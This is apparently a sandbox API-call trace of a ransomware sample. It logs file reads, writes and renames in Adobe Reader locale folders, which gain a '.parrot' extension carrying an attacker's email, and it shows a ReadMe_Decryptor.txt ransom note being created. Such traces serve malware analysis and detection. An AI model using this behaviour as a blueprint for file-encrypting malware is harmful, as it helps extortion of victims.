[0253.127] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0d) returned 0x31ac478 [0253.127] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22fe0c8 | out: hHeap=0x5b0000) returned 1 [0253.127] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1536) returned 0x31fe550 [0253.127] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31ac478 | out: hHeap=0x5b0000) returned 1 [0253.127] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1fbf) returned 0x639220 [0253.127] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31fe550 | out: hHeap=0x5b0000) returned 1 [0253.127] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2f8d) returned 0x32ca610 [0253.127] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x639220 | out: hHeap=0x5b0000) returned 1 [0253.127] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4742) returned 0x32cd5a8 [0253.128] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x32ca610 | out: hHeap=0x5b0000) returned 1 [0253.128] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6ad1) returned 0x32ae550 [0253.128] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x32cd5a8 | out: hHeap=0x5b0000) returned 1 [0253.128] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa028) returned 0x32ca610 [0253.128] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x32ae550 | out: hHeap=0x5b0000) returned 1 [0253.128] WriteFile (in: hFile=0x288, lpBuffer=0x32ca620*, nNumberOfBytesToWrite=0x95a8, lpNumberOfBytesWritten=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x32ca620*, lpNumberOfBytesWritten=0x18e604*=0x95a8, lpOverlapped=0x0) returned 1 [0253.131] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x32ca610 | out: hHeap=0x5b0000) returned 1 [0253.131] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x9598, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0253.131] CloseHandle (hObject=0x288) returned 1 [0253.131] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xb0) returned 0x3279e80 [0253.131] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x106) returned 0x22f7550 [0253.131] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3279e80 | out: hHeap=0x5b0000) returned 1 [0253.131] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\Services\\DEXShare.asfx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\es_es\\services\\dexshare.asfx"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\Services\\DEXShare.asfx.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\es_es\\services\\dexshare.asfx.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0253.133] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22f7550 | out: hHeap=0x5b0000) returned 1 [0253.133] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0253.133] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x32ba5d0 | out: hHeap=0x5b0000) returned 1 [0253.133] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x3277be8 [0253.133] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc0) returned 0x3273f20 [0253.133] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4c80 [0253.133] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4bb0 [0253.133] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\Services\\ReadMe_Decryptor.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\es_es\\services\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18e3f8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0253.136] GetFileType (hFile=0x288) returned 0x1 [0253.136] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x3178470 [0253.199] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0253.199] ReadFile (in: hFile=0x1fc, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0253.200] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0253.200] ReadFile (in: hFile=0x1fc, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xe7, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0xe7, lpOverlapped=0x0) returned 1 [0253.200] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0253.200] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0253.200] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0253.200] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606848 [0253.201] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605320 [0253.201] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x226c068 [0253.201] GetLastError () returned 0x0 [0253.201] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0253.201] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0253.201] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0253.201] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0253.201] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4c80 [0253.201] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0253.201] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4bb0 [0253.201] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0253.201] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4c80 [0253.201] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0253.201] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606848 [0253.201] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0253.201] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606968 [0253.201] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0253.201] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x604280 [0253.201] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0253.201] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d5d8 [0253.202] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x604280 | out: hHeap=0x5b0000) returned 1 [0253.202] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\Services\\Services.asfx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\es_es\\services\\services.asfx"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\Services\\Services.asfx.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\es_es\\services\\services.asfx.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0253.206] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22f7550 | out: hHeap=0x5b0000) returned 1 [0253.206] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0253.206] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22d6080 | out: hHeap=0x5b0000) returned 1 [0253.208] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\Services\\*", fInfoLevelId=0x0, lpFindFileData=0x18e6bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e6bc) returned 0x600550 [0253.208] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f24da0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x22ee9f80, ftLastAccessTime.dwHighDateTime=0x1d5e09e, ftLastWriteTime.dwLowDateTime=0x22ee9f80, ftLastWriteTime.dwHighDateTime=0x1d5e09e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0253.208] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f24da0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x22e2b8a0, ftLastWriteTime.dwHighDateTime=0x1d5e09e, nFileSizeHigh=0x0, nFileSizeLow=0x95a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEXShare.asfx.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="DEXSHA~1.PAR")) returned 1 [0253.264] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0253.264] ReadFile (in: hFile=0x288, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0253.265] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0253.265] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2a00, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x2a00, lpOverlapped=0x0) returned 1 [0253.267] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0253.267] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\Spelling.ESP" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\es_es\\spelling.esp"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\Spelling.ESP.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\es_es\\spelling.esp.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0253.271] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x32dca28 | out: hHeap=0x5b0000) returned 1 [0253.271] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0253.271] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x329e548 | out: hHeap=0x5b0000) returned 1 [0253.278] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0253.278] ReadFile (in: hFile=0x288, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0253.283] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0253.283] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2a00, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x2a00, lpOverlapped=0x0) returned 1 [0253.284] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0253.284] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\updater.ESP" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\es_es\\updater.esp"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\updater.ESP.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\es_es\\updater.esp.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0253.289] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x32dca28 | out: hHeap=0x5b0000) returned 1 [0253.289] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0253.289] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x329e548 | out: hHeap=0x5b0000) returned 1 [0253.291] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0253.291] ReadFile (in: hFile=0x288, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0253.317] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0253.317] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x6e00, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x6e00, lpOverlapped=0x0) returned 1 [0253.319] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0253.320] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\Weblink.ESP" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\es_es\\weblink.esp"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\Weblink.ESP.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\es_es\\weblink.esp.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0253.324] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x32dca28 | out: hHeap=0x5b0000) returned 1 [0253.324] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0253.324] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x32a2588 | out: hHeap=0x5b0000) returned 1 [0253.325] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0253.326] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d63ebe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x22ff4920, ftLastAccessTime.dwHighDateTime=0x1d5e09e, ftLastWriteTime.dwLowDateTime=0x22ff4920, ftLastWriteTime.dwHighDateTime=0x1d5e09e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0253.326] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d984a20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x222b6ec0, ftLastWriteTime.dwHighDateTime=0x1d5e09e, nFileSizeHigh=0x0, nFileSizeLow=0xb328, dwReserved0=0x0, dwReserved1=0x0, cFileName="accessibility.ESP.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="ACCESS~1.PAR")) returned 1 [0253.326] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0253.328] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0253.328] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d853f20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x833608a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x833608a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0253.328] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0253.328] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0253.328] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dbbfec0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xac00, dwReserved0=0x0, dwReserved1=0x0, cFileName="accessibility.EUQ", cAlternateFileName="ACCESS~1.EUQ")) returned 1 [0253.329] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0253.329] ReadFile (in: hFile=0x288, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0253.330] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0253.331] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xac00, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0xac00, lpOverlapped=0x0) returned 1 [0253.332] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0253.333] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\accessibility.EUQ" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\eu_es\\accessibility.euq"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\accessibility.EUQ.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\eu_es\\accessibility.euq.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0253.336] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x32dd8b0 | out: hHeap=0x5b0000) returned 1 [0253.336] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0253.336] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x32aa5c8 | out: hHeap=0x5b0000) returned 1 [0253.338] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0253.338] ReadFile (in: hFile=0x288, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0253.340] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0253.340] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x66c00, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x66c00, lpOverlapped=0x0) returned 1 [0253.390] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0253.409] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\Acroform.EUQ" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\eu_es\\acroform.euq"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\Acroform.EUQ.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\eu_es\\acroform.euq.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0253.414] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x32dd8b0 | out: hHeap=0x5b0000) returned 1 [0253.414] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0253.414] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2b30020 | out: hHeap=0x5b0000) returned 1 [0253.537] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0253.537] ReadFile (in: hFile=0x288, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0253.538] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0253.538] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1a00, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x1a00, lpOverlapped=0x0) returned 1 [0253.542] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0253.545] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\AdobeCollabSync.EUQ" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\eu_es\\adobecollabsync.euq"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\AdobeCollabSync.EUQ.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\eu_es\\adobecollabsync.euq.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0253.550] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22f7550 | out: hHeap=0x5b0000) returned 1 [0253.550] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0253.550] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x321e550 | out: hHeap=0x5b0000) returned 1 [0253.552] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0253.553] ReadFile (in: hFile=0x288, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0253.554] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0253.555] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x79000, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x79000, lpOverlapped=0x0) returned 1 [0253.623] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0253.647] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\Annots.EUQ" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\eu_es\\annots.euq"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\Annots.EUQ.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\eu_es\\annots.euq.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0253.652] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x329d9f0 | out: hHeap=0x5b0000) returned 1 [0253.652] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 